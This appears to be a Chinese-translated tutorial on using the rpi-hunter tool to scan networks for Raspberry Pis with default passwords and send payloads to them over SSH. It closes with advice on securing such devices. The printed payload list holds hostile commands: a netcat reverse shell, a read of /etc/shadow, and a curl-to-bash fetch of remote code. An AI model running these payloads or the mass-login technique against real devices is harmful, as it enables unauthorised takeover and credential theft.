使用Rpi-hunter工具发现并攻击使用默认凭据的树莓派

本文详细介绍了利用rpi-hunter工具在本地网络或互联网上发现使用默认密码的树莓派设备,并执行自动化攻击的方法。内容包括工具安装、网络扫描、SSH配置、以及如何发送预设和自定义负载来控制目标设备。

如何使用Rpi-hunter工具发现并攻击使用默认凭据的树莓派

设置树莓派时,很容易忽略更改默认密码。与许多物联网设备一样,树莓派默认的Raspbian操作系统安装时使用了一个广为人知的默认密码,这使得设备容易受到远程访问的攻击。使用一个名为rpi-hunter的工具,黑客可以发现、访问位于同一网络上的任何存在弱点的树莓派,并投放自定义负载。

虽然该工具主要针对本地网络,但它也能够从任何地方发现并攻击直接连接到互联网的树莓派型号。网络中存在存在漏洞的树莓派绝非简单的恶作剧,它可能让黑客无限制地访问您内部网络中的其他设备,甚至将负载传播到其他存在漏洞的设备。

为什么默认凭据是个问题

设备仍然使用默认密码连接到网络是一个相当大的风险。由于许多物联网设备甚至不允许设备所有者更改密码(由于使用了硬编码凭据),它们成为黑客和自动化僵尸网络最喜欢的目标。黑客在2016年10月利用了这些缺陷,使用数千台连接在Mirai僵尸网络中的存在漏洞的计算机,导致美国互联网服务中断。

这个僵尸网络的创建过程是:扫描互联网上的大块地址以寻找开放的telnet端口,并尝试使用默认密码登录它发现的任何设备,从而接管存在漏洞的设备并将它们添加到僵尸网络大军中。

除了物联网设备,默认凭据在路由器中也是一个重大问题。因为大多数用户连接设备后从不更改密码,任何拥有Wi-Fi密码的人都可以快速访问路由器的设置和管理门户。从这里,很容易设置远程管理、加载未经授权的固件来监视所有者,以及对设备进行其他未经授权的更改,例如将DNS服务器指向恶意服务器。

如果你知道设备正在使用的默认密码,自动化登录该设备以执行某种操作就变得轻而易举。这就是rpi-hunter的用武之地。有了它,我们可以利用对树莓派默认密码的了解,自动化远程连接和控制树莓派。

善用Rpi-hunter

如果你拥有多个树莓派,rpi-hunter可以省去更新它们的工作。在网络上定位到树莓派后,可以轻松地对每个设备进行单独修改,或者作为一个组同时访问所有树莓派。虽然rpi-hunter默认被编程为尝试默认的Raspbian密码,但你可以轻松更改密码以反映你用来设置自己树莓派的密码。

如果你有一个家庭或工作网络,其中有需要配置的树莓派,你可以将它们连接到网络,启用SSH,并使用rpi-hunter对整个组进行所需的更改。你可以运行更新、更改密码,或者预先在树莓派上加载它们日后可能需要运行的软件。能够将所有树莓派连接到网络并同时向所有设备发出命令,比必须逐一操作方便得多。

恶意使用Rpi-hunter

不难想象,如何利用这种发现和控制大量使用默认凭据的树莓派的能力。除了标准的Raspbian系统,许多树莓派被用作OctoPrint控制器或其他带有知名默认密码的应用程序。如果这些设备中有任何一台直接连接到互联网,rpi-hunter就可以通过互联网发现它们并开始发出命令。

对于树莓派的所有者来说,忘记更改密码的风险在于允许陌生人远程控制它,并可能获得一个立足点,从而进一步感染你的网络。设置好后就忘记的、运行默认凭据的树莓派的普通用户,可能永远看不到其设备被入侵的症状,即使它可能正在默默地执行指令,例如通过你的网络路由被盗的信用卡交易或监视你的流量。

所需准备

要遵循本指南,你需要一个运行Raspbian或Debian的树莓派型号,例如Zero W、3 Model B+ 或 4。你应该能够从树莓派基金会的下载页面为树莓派下载此操作系统。一旦你的树莓派运行标准的Raspbian,就可以使用以太网电缆(如果树莓派有以太网端口)或Wi-Fi将其连接到家庭网络。

接下来,你需要一台安装有Python的计算机来运行rpi-hunter。因为Python是跨平台的,你应该可以从其下载页面在你使用的操作系统上安装它。

当Python安装完毕并且你的计算机连接到与树莓派相同的网络时,你就可以开始使用rpi-hunter了。

准备Rpi-hunter

首先,我们需要安装rpi-hunter运行所依赖的任何库。为此,打开一个新的终端窗口并输入以下命令。如果你不是root用户,你应该在本文中的此命令和其他命令前使用sudo。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
~# pip install -U argparse termcolor

Requirement already up-to-date: argparse in /usr/local/lib/python3.7/dist-packages (1.4.0)
Requirement already up-to-date: termcolor in /usr/lib/python3/dist-packages (1.1.0)
~# apt -y install arp-scan tshark sshpass

Reading package lists... Done
Building dependency tree
Reading state information... Done
...(省略部分输出)...
Once these libraries are installed, we can move on to installing rpi-hunter from the GitHub repository. To clone the repo, you can type the following into a terminal window.

~# git clone https://github.com/BusesCanFly/rpi-hunter.git

Cloning into 'rpi-hunter'...
...(省略部分输出)...
现在,导航到“rpi-hunter”文件夹(通过`cd`命令),新下载的“rpi-hunter.py”就可以运行了。

```bash
~# cd rpi-hunter

在树莓派上启用SSH

通过以太网电缆或Wi-Fi将你的树莓派连接到网络,并确保SSH已启用。你可以通过在新的终端窗口中运行raspi-config命令来检查。选择“Interfacing Options”,然后启用使用SSH远程访问你的树莓派。

启用SSH后,保存你的选项。你可能需要重启。当设备重新启动后,你可以在树莓派的终端窗口中输入ifconfig来获取IP地址,然后在你的其他设备上运行以下命令来检查SSH是否正在运行。

1
~# nmap -p 22 (树莓派的IP地址在此处)

如果Nmap扫描显示端口为“open”,那么SSH已在你的树莓派上成功运行。

在树莓派上安装Rpi-hunter

首次运行前,我们需要通过在新的终端窗口中运行以下命令使“rpi-hunter.py”可执行。

1
~# chmod +x rpi-hunter.py

运行Rpi-hunter

现在,我们应该能够运行该程序并查看我们可以使用的各种标志。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
~/rpi-hunter# python rpi-hunter.py -h

usage: rpi-hunter.py [-h] [--list] [--no-scan] [-r IP_RANGE] [-f IP_LIST]
                     [-c CREDS] [--payload PAYLOAD] [-H HOST] [-P PORT]
                     [--safe] [-q]

optional arguments:
  -h, --help         show this help message and exit
  --list             List avalible payloads
  --no-scan          Disable ARP scanning
  -r IP_RANGE        IP range to scan
  -f IP_LIST         IP list to use (Default ./scan/RPI_list)
  -c CREDS           Password to use when ssh'ing
  --payload PAYLOAD  (Name of, or raw) Payload [ex. reverse_shell or 'whoami']
  -H HOST            (If using reverse_shell payload) Host for reverse shell
  -P PORT            (If using reverse_shell payload) Port for reverse shell
  --safe             Print sshpass command, but don't execute it
  -q                 Don't print banner or ARP scan output

在这里,我们可以立即看到一些有用的标志。我们可以使用-r扫描单个设备或一个IP地址范围,或者甚至可以使用-f标志从IP地址列表中提取。还有其他一些与我们要选择的有效负载相关的选项,我们可以通过输入以下命令来探索可用的有效负载。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
~/rpi-hunter# python rpi-hunter.py --list

██████╗ ██████╗ ██╗      ██╗  ██╗██╗   ██╗███╗   ██╗████████╗███████╗██████╗
██╔══██╗██╔══██╗██║      ██║  ██║██║   ██║████╗  ██║╚══██╔══╝██╔════╝██╔══██╗
...(省略横幅和列表输出)...

Payloads:
Specify with --payload name

[raincow_install] sudo apt -y install fortune cowsay lolcat
[motd] echo "CHANGE YOUR PASSWORD" > /etc/motd
[raincow_bashrc] sudo echo "fortune | cowsay | lolcat" >> ~/.bashrc
[reverse_shell] rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc None None >/tmp/f
[apt_update] sudo apt update && sudo apt -y upgrade
[shadow] sudo cat /etc/shadow
[rickroll] curl -s -L http://bit.ly/10hA8iC | bash
[gitpip] sudo apt -y install git python-pip

在有效负载列表中,我们可以看到有几个选项可供选择。我们可以更改当天的消息、创建反向shell以远程控制树莓派,甚至自定义我们自己的有效负载进行发送。

在网络中发现树莓派

为了在网络中发现树莓派,rpi-hunter将运行一系列扫描来识别任何将自己标识为由树莓派制造的设备。我们可以先自己运行扫描,如果希望精确,可以直接在此处输入IP地址,但这里的重点是能够发现和控制网络上的其他设备,而你原本可能并不知道这些设备的存在。

在不了解我们所处网络的情况下,rpi-hunter将扫描整个网络范围以寻找树莓派设备,将它们添加到列表中,然后向任何运行默认凭据的设备发送有效负载。我们可以使用whoami有效负载和以下命令来做到这一点。我在未先将树莓派连接到网络的情况下运行了我的命令。(注意:你也可以通过在有效负载前插入-r标志和范围来扫描特定的IP范围。)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
~/rpi-hunter# python rpi-hunter.py --payload whoami

██████╗ ██████╗ ██╗      ██╗  ██╗██╗   ██╗███╗   ██╗████████╗███████╗██████╗
██╔══██╗██╔══██╗██║      ██║  ██║██║   ██║████╗  ██║╚══██╔══╝██╔════╝██╔══██╗
...(省略横幅和扫描输出)...

Interface: wlp1s0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
172.16.42.1 de:f3:86:ec:ca:a0   (Unknown)
172.16.42.3 60:30:d4:6a:06:c8   (Unknown)
...(省略扫描结果)...

23 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.5: 256 hosts scanned in 2.571 seconds (99.57 hosts/sec). 23 responded

Located 0 Raspi's

Loaded 0 IP's

Sending payload to Pi's
Godspeed, little payloads

从输出中可以看出,在我们当前所在的网络上检测到零个树莓派。如果有一个,我们应该会看到来自树莓派的响应,仅仅对whoami命令回应“pi”。

发送默认有效负载

现在,让我们继续向一个在线的树莓派发送脚本中包含的默认有效负载之一。让我们使用motd有效负载,它将修改树莓派的“message of the day”(当用户通过SSH登录时出现的消息)。(注意:如果你已经定位到要攻击的树莓派,请在有效负载前插入-r标志及其IP地址。)

当我们执行此操作时,脚本将使用默认凭据通过SSH连接到我们发现的任何树莓派,然后将“CHANGE YOUR PASSWORD”添加到当天消息登录屏幕的文本中。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
~/rpi-hunter# python rpi-hunter.py --payload motd

██████╗ ██████╗ ██╗      ██╗  ██╗██╗   ██╗███╗   ██╗████████╗███████╗██████╗
██╔══██╗██╔══██╗██║      ██║  ██║██║   ██║████╗  ██║╚══██╔══╝██╔════╝██╔══██╗
...(省略横幅和扫描输出)...

Interface: wlp1s0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
...(省略扫描结果)...
172.16.42.98    78:4f:43:59:7b:fb   Raspberry Pi
...(省略扫描结果)...

21 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.5: 256 hosts scanned in 2.538 seconds (100.87 hosts/sec). 17 responded

Located 1 Raspi's

Loaded 1 IP's

Sending payload to Pi's
Godspeed, little payloads

Sending payload to  172.16.42.98

成功!下次我们通过SSH登录我们的树莓派时,应该会看到添加的“CHANGE YOUR PASSWORD”消息。

发送自定义有效负载

现在我们能够发送有效负载,让我们超越脚本中提供的默认有效负载,使用一个简单的自定义有效负载。为此,我们可以将想要发送给树莓派的任何命令用引号括起来,放在--payload标志后面。要重启我们检测到的每个树莓派,我们可以发送sudo reboot命令作为我们的有效负载。结果命令如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
~/rpi-hunter# python rpi-hunter.py --payload "sudo reboot"

Located 1 Raspi's

Loaded 1 IP's

Sending payload to Pi's
Godspeed, little payloads

Sending payload to  172.16.42.98
Connection to 172.16.42.98 closed by remote host.

发出此命令后,网络上的每个树莓派都应该立即重启。如果有些树莓派使用的密码不是Raspbian设置的默认“raspberry”密码,你可以使用-c标志更改rpi-hunter尝试的密码。

要访问使用非默认密码的树莓派,可以在终端窗口中运行以下命令,其中“toor”处替换为树莓派的密码。

1
~/rpi-hunter# python rpi-hunter.py -c toor --payload "sudo reboot"

现在你可以修改发送的密码并自定义有效负载,rpi-hunter已准备好远程控制任何树莓派或树莓派组。

Rpi-hunter让你同时控制多个树莓派

使用默认凭据的设备很容易被访问,rpi-hunter是一个强大而有用的概念验证,展示了同时接管大量存在漏洞的设备是多么容易。确保更改连接到网络的任何设备的默认密码,并且永远不要将具有默认凭据的设备直接暴露在互联网上。

如果你担心其他人访问你的树莓派,请在不需要时禁用SSH,并考虑使用密钥文件而不是简单的密码来保护设备上的SSH访问。

我希望你喜欢这篇关于使用rpi-hunter在网络上查找并向树莓派推送负载的指南!如果你对关于远程访问树莓派的教程有任何疑问,请在下方留言,并随时通过Twitter @KodyKinzie联系我。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计